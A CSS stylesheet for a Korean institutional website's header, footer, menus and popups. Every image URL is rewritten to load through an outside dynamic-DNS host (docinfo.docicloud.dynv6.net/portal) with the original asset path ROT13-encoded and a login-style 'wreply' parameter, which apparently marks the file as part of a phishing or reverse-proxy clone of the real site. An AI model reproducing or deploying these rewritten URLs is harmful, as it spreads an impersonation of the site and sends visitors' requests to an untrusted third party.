@charset "utf-8";

/* reset */
*,:before,:after{box-sizing:border-box}
html{/* overflow-y:scroll; */-moz-text-size-adjust:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;text-size-adjust:100%}
body,p,h1,h2,h3,h4,h5,h6,ul,ol,li,dl,dt,dd,table,th,td,form,fieldset,legend,input,textarea,button,select{margin:0;padding:0}
body,input,textarea,select,button,table,pre,code{color:#2f2f2f;font-family:'Noto Sans','맑은 고딕','Malgun Gothic','Apple SD Gothic Neo',sans-serif;font-size:14px;line-height:1.42857}
article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display: block;}
img,fieldset{border:none}
img{max-width:100%;vertical-align:top}
ul,ol{list-style:none}
em,address{font-style:normal}
a{color:#2f2f2f;background-color:transparent;-webkit-text-decoration-skip:objects;text-decoration:none}
a:hover,a:active,a:focus{text-decoration:none}
table{border-collapse:collapse;border-spacing:0} 
legend{*width:0}
input::-webkit-input-placeholder{line-height:normal!important;}
input[type='text'],input[type='email'],input[type='password'],input[type='search'],input[type='submit']{-webkit-appearance:none;-moz-appearance:none;appearance:none;border-radius:0;}
input[type='checkbox']{box-shadow:none;}
label,select{cursor:pointer}
select{background:#fff;}
select::-ms-expand{background:transparent;border:none;}
button{padding:0;border:none;background:none;cursor:pointer;border-radius:0;}
textarea{overflow:auto}
[hidden]{display:none}
caption{overflow:hidden;width:1px;height:1px;margin-top:-1px}
.blind,legend{display:block;overflow:hidden;position:absolute;left:0;top:-9999em}
pre{margin:0;}
pre,code{color:inherit;}

/* common */
.skip a{display:block;position:absolute;left:0;top:-9999em;z-index:9999;overflow:hidden;width:100%;background-color:#333;color:#fff;font-size:1.2em;font-weight:bold;text-align:center;text-decoration:none;line-height:2.2}
.skip a:hover,.skip a:active,.skip a:focus{top:0}
.clearfix{*zoom:1}
.clearfix:after{content:'';display:block;clear:both;}
.ellipsis{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
.icon{display:inline-block;background-repeat:no-repeat;background-position:50% 50%;background-size:100% auto;vertical-align:middle;}

#wrap{min-width:1200px;}
.container{position:relative;width:1200px;margin:0 auto;}

@media (max-width:800px) {
	#wrap{min-width:310px;position:relative;}
	.container{width:auto;padding:0 15px;}
}

/*-------------------------------------------
	header
--------------------------------------------*/
#header{/* position:relative;z-index:1;box-shadow:0 2px 13px rgba(0,0,0,.1); */}
#header .container:after{content:'';display:block;clear:both;}
#header .left-wrap{float:left;}
#header .right-wrap{float:right;}
#header .right-wrap:after{content:'';display:block;clear:both;}

.header-top{background:#2a519a;height:42px;}
.header-bottom{background:#fff;height:96px;border-bottom:2px solid #8b97b9}

#header .tab-list{margin-top:8px;}
#header .tab-list:after{content:'';display:block;clear:both;}
#header .tab-list li{position:relative;float:left;margin-right:14px;padding-right:14px;}
#header .tab-list li:after{content:'/';position:absolute;top:50%;right:-2px;margin-top:-6px;font-size:12px;color:rgba(255,255,255,.32);line-height:1;}
#header .tab-list li:last-child{margin-right:0;padding-right:0;}
#header .tab-list li:last-child:after{display:none;}
#header .tab-list li a{display:block;padding:4px 0;color:#fff;font-size:12px;letter-spacing:-.03em;}
#header .tab-list li.home a:before{content:'\f015';display:inline-block;margin-right:7px;font-family:'Font Awesome 5 Free';font-weight:bold;}
#header .tab-list li a[target="_blank"]:after{content:'';display:inline-block;width:11px;height:11px;margin-left:8px;margin-top:-2px;background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Sfvgr%2Spvn%2Ssea%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpba_jvaqbj.cat') no-repeat 50% 50% / 100% auto;vertical-align:middle;}

#header .split-list{float:left;/* margin-top:11px; */}
#header .split-list:after{content:'';display:block;clear:both;}
#header .split-list > li{float:left;position:relative;}
#header .split-list > li.sitemap{background:#21407a;}
#header .split-list > li.language{background:#1a3361;}
#header .split-list > li > a,
#header .split-list > li button{display:block;height:42px;color:#fff;font-size:12px;padding:0 15px;}
#header .split-list > li > a{line-height:42px;}
#header .split-list > li.sitemap a:before{content:'\f0e8';display:inline-block;margin-right:8px;font-family:'Font Awesome 5 Free';font-weight:bold;}
#header .split-list > li.lang a{position:relative;padding-left:22px;}
#header .split-list > li.lang a:before{content:'';position:absolute;top:50%;left:0;margin-top:-8px;width:16px;height:16px;background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Sfvgr%2Spvn%2Ssea%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpba_ynat.cat');}
#header .split-list .btn-language{padding:0 20px;padding-right:36px;background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Sfvgr%2Spvn%2Ssea%2Spff%2S..%2Svzntrf%2Spbzzba%2Sneebj_ynathntr.cat') no-repeat top 50% right 18px;}
#header .split-list .btn-language:before{content:'\f0ac';display:inline-block;margin-right:8px;font-family:'Font Awesome 5 Free';font-weight:bold;}
#header .split-list .language-box{display:none;position:absolute;top:100%;left:0;right:0;z-index:1010;}
#header .split-list .btn-language.on ~ .language-box{display:block;}
#header .split-list .language-box li{text-align:center;border-top:1px solid #7199e6;}
#header .split-list .language-box li a{display:block;padding:6px 0;background:#396dd0;color:#dcf6ff;font-size:11px;letter-spacing:.04em;}
#header .split-list .language-box li a:hover,
#header .split-list .language-box li a:focus{background:#314c98;}

#header .search-box{float:left;background:#4383c4;padding:5px 42px 5px 5px;/* margin-left:10px; */}
#header .search-box .txt{background:#fff;border:0;width:165px;height:32px;padding:0 10px;color:#666;font-size:12px;}
#header .search-box .btn-search{position:absolute;top:0;right:0;bottom:0;width:42px;background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Sfvgr%2Spvn%2Ssea%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpba_frnepu.cat') no-repeat 50% 50%;}

#header .btn-mobile-search-close,
#header .btn-mobile-menu,
#header .btn-mobile-search {
	display: none;
	overflow: hidden;
	position: absolute;
	top: 50%;
	z-index: 4;
	width: 26px;
	height: 26px;
	margin-top: -13px;
	background-color: #fff;
	background-repeat: no-repeat;
	background-position: 50% 50%;
}
#header .btn-mobile-search-close {
	top: -26px;
	right: 15px;
	z-index: 6;
	background-image: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Sfvgr%2Spvn%2Ssea%2Spff%2S..%2Svzntrf%2Spbzzba%2Soga_frnepu_pybfr.cat');
	background-size: 19px auto;
}
#header .btn-mobile-menu{left:15px;background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Sfvgr%2Spvn%2Ssea%2Spff%2S..%2Svzntrf%2Spbzzba%2Soga_zrah.cat');background-size:26px auto;}
#header .btn-mobile-search{right:15px;background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Sfvgr%2Spvn%2Ssea%2Spff%2S..%2Svzntrf%2Spbzzba%2Soga_frnepu.cat');background-size:19px auto}

#header .logo{margin-top:15px;}

#header .gnb {
	max-width: 900px;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-pack: justify;
	-ms-flex-pack: justify;
	justify-content: space-between;
}
#header .gnb:after{content:'';display:block;clear:both;}
#header .gnb > li{/* float:left; */position:relative;}
#header .gnb > li + li{margin-left:24px;}
#header .gnb a{display:block;}
#header .gnb .depth-2{display:none;position:absolute;z-index:1000;top:92px;left:50%;min-width:200px;background:#fff;border:1px solid #324c9b;border-top-width:4px;transform:translateX(-50%);}
#header .gnb .depth-2:before{content:'';position:absolute;top:-9px;left:50%;margin-left:-5px;border-bottom:5px solid #324c9b;border-left:5px solid transparent;border-right:5px solid transparent;}
#header .gnb > li:nth-child(3) .depth-2,
#header .gnb > li:nth-child(5) .depth-2,
#header .gnb > li:nth-child(6) .depth-2{min-width:185px;}
#header .gnb > li:last-child .depth-2{left:auto;right:0;transform:none;}
#header .gnb > li:last-child .depth-2:before{left:75%;}
#header .gnb .depth-3{background:#f3f3f3;padding:8px 0 8px 20px;}
#header .gnb .depth-3 > li + li{margin-top:1px;}

#header .gnb .link-depth-1{display:table;width:100%;height:94px;padding:0 10px;color:#393939;font-size:15px;font-weight:bold;letter-spacing:-.02em;text-align:center;line-height:1.3;}
#header .gnb .link-depth-1:hover,
#header .gnb .link-depth-1:focus{color:#2a4da0;}
#header .gnb .link-depth-1 span{display:table-cell;min-width:80px;word-break:keep-all;vertical-align:middle;}

#header .gnb .link-depth-2{position:relative;padding:10px 20px;color:#343434;font-size:14px;font-weight:500;letter-spacing:-.02em;}
#header .gnb .depth-2 > li + li{border-top:1px solid #dedede;}
#header .gnb .link-depth-2:hover,
#header .gnb .link-depth-2:focus{color:#2a4da0;background:#f3f3f3;}
#header .gnb .has-sub .link-depth-2{padding-right:34px;}
#header .gnb .has-sub .link-depth-2:after{content:'';position:absolute;top:50%;right:20px;margin-top:-3px;border-top:5px solid #646464;border-left:5px solid transparent;border-right:5px solid transparent;}

#header .gnb .link-depth-3{padding-left:12px;color:#707070;font-size:12px;letter-spacing:-.02em;position:relative;}
#header .gnb .link-depth-3:before{content:'';position:absolute;top:7px;left:0;width:4px;height:4px;background:#435fa4;border-radius:50%;}
#header .gnb .link-depth-3:hover,
#header .gnb .link-depth-3:focus{color:#2f4d99;}

@media (max-width:800px) {
	#header{position:relative;}
	#header .left-wrap,
	#header .right-wrap{float:none;}

	.header-top{height:auto;}
	.header-top .container{position:static;}
	.header-bottom{border-bottom:0;height:52px;text-align:center;padding:11px 0;}

	#header .tab-list{display:none;}
	#header .split-list{}
	#header .split-list > li{display:none;}
	#header .split-list > li.language{display:block;position:absolute;top:13px;right:48px;z-index:4;background:none;}
	#header .split-list .btn-language{position:relative;width:55px;height:26px;padding:0;color:#304f9f;text-indent:-999em;}
	#header .split-list .btn-language:before {
		content: '\f0ac';
		position: absolute;
		top: 5px;
		left: 0;
		margin-right: 0;
		font-size: 13px;
		border: 2px solid #304f9f;
		border-radius: 50%;
		line-height: 1;
		text-indent: 0;
	}
	#header .split-list .btn-language:after{content:'Lang';position:absolute;left:22px;text-indent:0;}
	#header .split-list .language-box{width:80px;margin-left:-40px;left:50%;top:39px;}

	#header .search-box {
		display: none;
		position: absolute;
		top: 100%;
		left: 0;
		right: 0;
		z-index: 6;
		float: none;
		margin: 0;
		padding: 8px 10px;
		background: #0e78c2;
		border: 0;
	}
	#header .search-box .txt{width:100%;height:28px;background:none;outline:0;color:#fff;padding:0;padding-right:36px;border-bottom:1px solid #cfe4f3;}
	#header .search-box .txt::-webkit-input-placeholder{color: rgba(255,255,255,.7);}
	#header .search-box .txt:-moz-placeholder{color: rgba(255,255,255,.7);}
	#header .search-box .txt::-moz-placeholder{color: rgba(255,255,255,.7);}
	#header .search-box .txt:-ms-input-placeholder{color: rgba(255,255,255,.7);}
	#header .search-box .btn-search{top:8px;right:10px;bottom:8px;width:36px;}
	#header .search-box.on{display:block;}
	
	#header .btn-mobile-search-close,
	#header .btn-mobile-menu,
	#header .btn-mobile-search{display:block;}

	#header .logo{margin:0;display:inline-block;font-size:30px;line-height:1;}
	#header .logo a{display:inline-block;vertical-align:top;}
	#header .logo img{height:30px;}

	#header .gnb{display:none;}
}

/*-------------------------------------------
	footer
--------------------------------------------*/
#footer{}

.footer-top{padding:12px 0;background:#1e3653;}
.footer-bottom{padding:36px 0;}
.footer-top .container:after,
.footer-bottom .container:after{content:'';display:block;clear:both;}

#footer .menu-list{float:left;margin-top:6px;}
#footer .menu-list:after{content:'';display:block;clear:both;}
#footer .menu-list li{float:left;position:relative;}
#footer .menu-list li + li{margin-left:10px;padding-left:11px;}
#footer .menu-list li + li:before{content:'';position:absolute;top:50%;left:0;width:1px;height:13px;margin-top:-6px;background:#cccfd3;}
#footer .menu-list li a{color:#fff;font-size:14px;}
#footer .menu-list li:first-child a{color:#36b0e2;font-weight:bold;}
#footer .menu-list li a:hover,
#footer .menu-list li a:focus{text-decoration:underline;}

#footer .footer-menu{float:left;}

#footer .address{display:block;color:#434343;font-size:14px;letter-spacing:-.02em;word-break:keep-all;}
#footer .address span{display:block;}
#footer .copyright{margin-top:6px;color:rgba(89,90,90,.86);font-size:14px;letter-spacing:-.02em;word-break:keep-all;}

#footer .logo{float:right;margin-top:13px;}
#footer .logo img{margin-left:16px;}

/* 유관기관 */
#footer .site-link{float:right;}
#footer .site-link .sel,
#footer .site-link .btn-go{border-radius:3px;vertical-align:middle;}
#footer .site-link .sel{width:270px;height:32px;border:1px solid #8e8e8e;background:#f3f3f3;color:#3a3a3a;font-size:14px;font-weight:500;}
#footer .site-link .btn-go{width:62px;height:32px;background:#3d7dcb;color:#fff;font-size:14px;font-weight:500;}

/* 유관기관 모바일 */
#footer .m-site-link{display:none;}
#footer .m-site-link .link-list{display:table;width:100%;table-layout:fixed;position:relative;}
#footer .m-site-link .link-list > li{display:table-cell;text-align:center;}
#footer .m-site-link .link-list > li + li{border-left:1px solid #2c416a;}
#footer .m-site-link .link-list .btn-menu{width:100%;height:40px;background:#2d447b;color:#fff;font-size:14px;}
#footer .m-site-link .link-list .btn-menu:after{content:'\f0d8';margin-left:8%;font-family:'Font Awesome 5 Free';font-weight:bold;}
#footer .m-site-link .link-list .link-box {
	display: none;
	position: absolute;
	overflow: hidden;
	bottom: 100%;
	left: 0;
	right: 0;
	z-index: 800;
	border: 1px solid #1c2f45;
	background: #fff;
	animation: bottom_to_top .4s;
}
#footer .m-site-link .link-list .link-box ul li{text-align:center;}
#footer .m-site-link .link-list .link-box ul li + li{border-top:1px solid #ccc;}
#footer .m-site-link .link-list .link-box ul li a{display:block;padding:6px 10px;color:#525252;font-size:13px;}
#footer .m-site-link .link-list .link-box ul li a:hover{color:#456cb4;}

#footer .m-site-link .link-list .btn-menu.on{background:#456cb4;}
#footer .m-site-link .link-list .btn-menu.on:after{content:'\f0d7';}
#footer .m-site-link .link-list .btn-menu.on ~ .link-box{display:block;}

#footer .btn-screen {
	float: left;
	height: 28px;
	margin-top: -4px;
	margin-left: 10px;
	border: 1px solid #ddd;
	padding: 0 12px;
	color: #555;
	font-size: 12px;
	background: #eee;
	border-radius: 3px;
	font-weight: 500;
	vertical-align: middle;
}
.desktop #footer .btn-screen{display:none;}

@media (max-width:800px) {
	.footer-top{padding:15px;background:#182c5a;}
	.footer-bottom{padding:15px;background:#fff;}

	#footer .logo{display:none;}
	#footer .logo,
	#footer .footer-menu{float:none;}

	#footer .menu-list{margin:0;float:none;}
	#footer .menu-list li{float:none;background:#152447;padding:6px 10px;border:1px solid #314979;text-align:center;}
	#footer .menu-list li + li{margin-left:0;padding-left:12px;margin-top:5px;}
	#footer .menu-list li + li:before{display:none;}
	#footer .menu-list li a{color:#fff;font-size:11px;letter-spacing:-.03em;}

	#footer .address{color:rgba(67,67,67,.86);font-size:11px;}
	#footer .address span{margin-top:3px;}
	#footer .copyright{color:rgba(67,67,67,.86);font-size:11px;font-weight:500;}

	#footer .site-link{display:none;}
	#footer .m-site-link{display:block;}

	#footer .btn-screen{font-size:11px;float:none;margin-top:14px;}
}

/* Top */
.btn-top{position:fixed;opacity:.55;bottom:40px;left:50%;margin-left:640px;width:50px;height:50px;background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Sfvgr%2Spvn%2Ssea%2Spff%2S..%2Svzntrf%2Spbzzba%2Soga_gbc.cat') no-repeat;}
.btn-top:hover,
.btn-top:focus{opacity:.75;}

@media (max-width:800px) {
	.btn-top{left:auto;margin-left:0;right:20px;bottom:20px;}
}

/* 전체메뉴 */
.open-all-menu{overflow:hidden;height:100%;}

#all_menu{text-align:left;}
#all_menu .all-menu-wrap{position:fixed;top:0;left:0;z-index:1002;width:260px;height:100%;background:#fff;-webkit-transition: all .3s ease;-ms-transition: all .3s ease;-o-transition: all .3s ease;transition: all .3s ease;-webkit-transform:translateX(-100%);-ms-transform:translateX(-100%);-o-transform:translateX(-100%);transform:translateX(-100%);overflow-y:auto;}
#all_menu .all-menu-title{position:relative;padding:0 15px;background-color:#0e78c2;height:40px;}
#all_menu .all-menu-title span{color:#fff;font-size:16px;font-weight:500;line-height:40px;}
#all_menu .m-menu-list > li{border-bottom:1px solid #b4c1ce;background-color:#fff;}
#all_menu .m-menu-list a{display:block;}
#all_menu .m-menu-list .link-depth-1:hover,
#all_menu .m-menu-list .link-depth-2:hover,
#all_menu .m-menu-list .link-depth-3:hover,
#all_menu .m-menu-list .link-depth-4:hover{color:#1973c0;}
#all_menu .m-menu-list .link-depth-1 {
	position: relative;
	display: block;
	width: 100%;
	color: #272727;
	background: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Sfvgr%2Spvn%2Ssea%2Spff%2S..%2Svzntrf%2Spbzzba%2Sohy_nyy_zrah.cat') no-repeat 15px 50% / 11px auto;
	font-size: 14px;
	padding: 12px 40px 12px 34px;
	font-weight: 500;
	text-align: left;
}
#all_menu .m-menu-list .link-depth-1:after {
	content: '\f067';
	position: absolute;
	top: 50%;
	right: 15px;
	margin-top: -7px;
	font-family: 'Font Awesome 5 Free';
	color: #095099;
	font-size: 14px;
	font-weight: bold;
	line-height: 1;
}
#all_menu .m-menu-list > li.on .link-depth-1:after{content:'\f068';color:#6c6c6c;}
#all_menu .m-menu-list .depth-2{display:none;}
#all_menu .m-menu-list .depth-2 > li{position:relative;border:none;background:#d7e5f1;border-top:1px solid #b4c1ce;}
#all_menu .m-menu-list .link-depth-2{position:relative;padding:6px 10px 6px 34px;color:#3d3d3d;font-size:13px;font-weight:500;}
#all_menu .m-menu-list li.has-sub .link-depth-2:after{content:'\f067';position:absolute;top:7px;right:15px;font-family:'Font Awesome 5 Free';color:#2177ce;font-size:12px;font-weight:bold;}
#all_menu .m-menu-list li.has-sub.on .link-depth-2:after{content:'\f068';color:#6c6c6c;}
#all_menu .m-menu-list .depth-3{display:none;padding:12px 10px 12px 32px;background:#f7f7f7;border-top:1px solid #b4c1ce;}
#all_menu .m-menu-list .depth-3 > li + li{margin-top:3px;}
#all_menu .m-menu-list .link-depth-3{position:relative;display:inline-block;color:#414040;font-size:13px;padding-left:10px;}
#all_menu .m-menu-list .link-depth-3:before{content:'';position:absolute;top:7px;left:0;width:3px;height:3px;background:#356ba6;border-radius:50%;}
#all_menu .m-menu-list .depth-4{margin-top:2px;padding-left:10px;}
#all_menu .m-menu-list .link-depth-4{position:relative;display:inline-block;color:#5b5b5b;font-size:12px;padding-left:10px;}
#all_menu .m-menu-list .link-depth-4:before{content:'-';position:absolute;top:0;left:0;}
#all_menu .btn-wrap{position:absolute;top:0;right:0;width:40px;height:40px;background:#5cba3f;}
#all_menu .btn-wrap .btn-close{width:100%;height:100%;background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Sfvgr%2Spvn%2Ssea%2Spff%2S..%2Svzntrf%2Spbzzba%2Soga_nyy_zrah_pybfr.cat') no-repeat 50% 50%;background-size:16px auto;text-indent:-999em;}
#all_menu .all-menu-bg{display:none;position:fixed;top:0;right:0;bottom:0;left:0;z-index:1000;background:rgba(0,0,0,.65);}
#all_menu.on{z-index:1001;}
#all_menu.on .all-menu-wrap{transform:translateX(0);-ms-transform:translateX(0);}
#all_menu.on .all-menu-bg{display:block;}

/* 레이어 팝업 */
.popup-wrap {
	display: none;
	position: absolute; 
	z-index: 80;
	top: 127px;
	text-align: left;
	font-size: 15px;
	/* -ms-user-select: none;
	-moz-user-select: -moz-none;
	-webkit-user-select: none;
	user-select: none; */
	line-height: 1.4;
	vertical-align: top;
	margin: 0 5px;
}
.popup-wrap.on{display:block;}
.popup-wrap .popup-container {position: relative; padding-bottom:38px;/* position:absolute; display: block; left:50%; top:0 */}
.popup-wrap .popup-tit{word-break:keep-all;}
.popup-wrap ul, 
.popup-wrap ol {list-style:none; margin:0; word-break:keep-all}
.popup-wrap h2.popup-tit {font-size:18px; color:#fff; font-weight:500; line-height:1.6}
.popup-wrap .popup-content {padding:30px}
.popup-wrap h3.popup-tit {position:relative; padding-left:20px; font-size:15px; font-weight:500}
.popup-wrap h3.popup-tit:before {content:''; position:absolute; left:0; top:7px; width:8px; height:8px; border-radius:50%}
.popup-wrap h3.popup-tit + h3.popup-tit {margin-top:15px}
.popup-wrap h3.popup-tit + .list-dot {margin:15px 0 0 19px}
.popup-wrap .list-dot li {position:relative; padding-left:13px; font-weight:400}
.popup-wrap .list-dot li:before {content:''; position:absolute; left:0; top:8px; width:4px; height:4px}
.popup-wrap .list-dot li + li {margin-top:7px}
.popup-wrap .popup-footer {position:absolute; left:0; right:0; bottom:0; padding:6px 20px; color:#fff; font-size:13px; background-color:#505860; box-sizing:border-box}
.popup-wrap .popup-footer:after {content:''; display:table; clear:both}
.popup-wrap .popup-footer > div {float:left; margin:0; padding:4px 0 0}
.popup-wrap .popup-footer input {width:14px; height:14px; margin-right:6px; background-color:#fff; border:1px solid #d1d1d1; vertical-align:middle}
.popup-wrap .popup-footer .btn-close {float:right; color:#444545; font-size:13px; padding:6px 10px; cursor:pointer; -webkit-appearance:button; line-height:1; border:none; outline:none; background-color:#fff; transition:all .2s linear}
.popup-wrap .popup-footer .btn-close:hover {background-color:rgba(255,255,255,.8)}
.popup-wrap .popup-footer .btn-close i {font-size:12px; color:#78808d; padding-right:6px}

.popup-wrap.popup-1 .popup-container {width:400px; min-height:400px; background:#2ca48f url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Sfvgr%2Spvn%2Ssea%2Spff%2S..%2Svzntrf%2Spbzzba%2Scbchc_ot1.cat") no-repeat 0 0;}
.popup-wrap.popup-1 .popup-header {padding:24px 0; margin:0 30px; border-bottom:1px solid rgba(255,255,255,.25)}
.popup-wrap.popup-1 .list-dot li {color:#fff}
.popup-wrap.popup-1 .list-dot li:before {background-color:#fff}
.popup-wrap.popup-1 h3.popup-tit {color:#fff;}
.popup-wrap.popup-1 h3.popup-tit:before {background-color:#fff}

.popup-wrap.popup-2 .popup-container {width:450px; min-height:540px; background:#627ad0 url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Sfvgr%2Spvn%2Ssea%2Spff%2S..%2Svzntrf%2Spbzzba%2Scbchc_ot2.wct") no-repeat 0 100%;}
.popup-wrap.popup-2 .popup-header {padding:24px 0; margin:0 30px; border-bottom:1px solid rgba(255,255,255,.25)}
.popup-wrap.popup-2 .list-dot li {color:#fff}
.popup-wrap.popup-2 .list-dot li:before {background-color:#fff}
.popup-wrap.popup-2 h3.popup-tit {color:#fff;}
.popup-wrap.popup-2 h3.popup-tit:before {background-color:#fff}

.popup-wrap.popup-3 .popup-container {width:450px; height:auto; background-color:#fff; border:1px solid #aaa;}
.popup-wrap.popup-3 .popup-header {padding:15px 30px; background:#2e7cc0 url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.nxf.np.xe%2Svxbern%2Sfvgr%2Spvn%2Ssea%2Spff%2S..%2Svzntrf%2Spbzzba%2Svpb_cbchc.cat') no-repeat top 50% right 25px;}
.popup-wrap.popup-3 .list-dot li {color:#555}
.popup-wrap.popup-3 .list-dot li:before {background-color:#7d7d7d}
.popup-wrap.popup-3 h2.popup-tit {padding-right:50px;}
.popup-wrap.popup-3 h3.popup-tit {color:#222;}
.popup-wrap.popup-3 h3.popup-tit:before {background-color:#7f7f7f}

@media (max-width: 800px) {
	.popup-wrap {font-size:13px;top:52px !important;left:auto !important;margin:0;}
	.popup-wrap .popup-container {margin:0 auto;}
	.popup-wrap h2.popup-tit {font-size:17px; line-height:1.4}
	.popup-wrap .popup-content {padding:15px}
	.popup-wrap h3.popup-tit {position:relative; padding-left:14px; font-size:13px; font-weight:500}
	.popup-wrap h3.popup-tit:before {top:5px; width:5px; height:5px}
	.popup-wrap h3.popup-tit + h3.popup-tit {margin-top:10px}
	.popup-wrap h3.popup-tit + .list-dot {margin:10px 0 0 13px}
	.popup-wrap .list-dot li {padding-left:10px}
	.popup-wrap .list-dot li:before {top:6px}
	.popup-wrap .list-dot li + li {margin-top:5px}
	.popup-wrap .popup-footer {padding:6px 20px; font-size:11px}
	.popup-wrap .popup-footer:after {content:''; display:table; clear:both}
	.popup-wrap .popup-footer > div {float:left; margin:0; padding:2px 0 0}
	.popup-wrap .popup-footer input {padding-right:4px}
	.popup-wrap .popup-footer .btn-close {font-size:11px; padding:4px 10px}

	.popup-wrap.popup-1 .popup-container {width:calc(100% - 20px); min-height:280px; background-size:100% auto;}
	.popup-wrap.popup-1 .popup-header {padding:15px 0; margin:0 15px}

	.popup-wrap.popup-2 .popup-container {width:calc(100% - 20px); min-height:450px; background-size:100% auto;}
	.popup-wrap.popup-2 .popup-header {padding:15px 0; margin:0 15px}

	.popup-wrap.popup-3 .popup-container {width:calc(100% - 20px);}
	.popup-wrap.popup-3 .popup-header {padding:15px; background-image:none}
	.popup-wrap.popup-3 h3.popup-tit:before {background-color:#7f7f7f}
}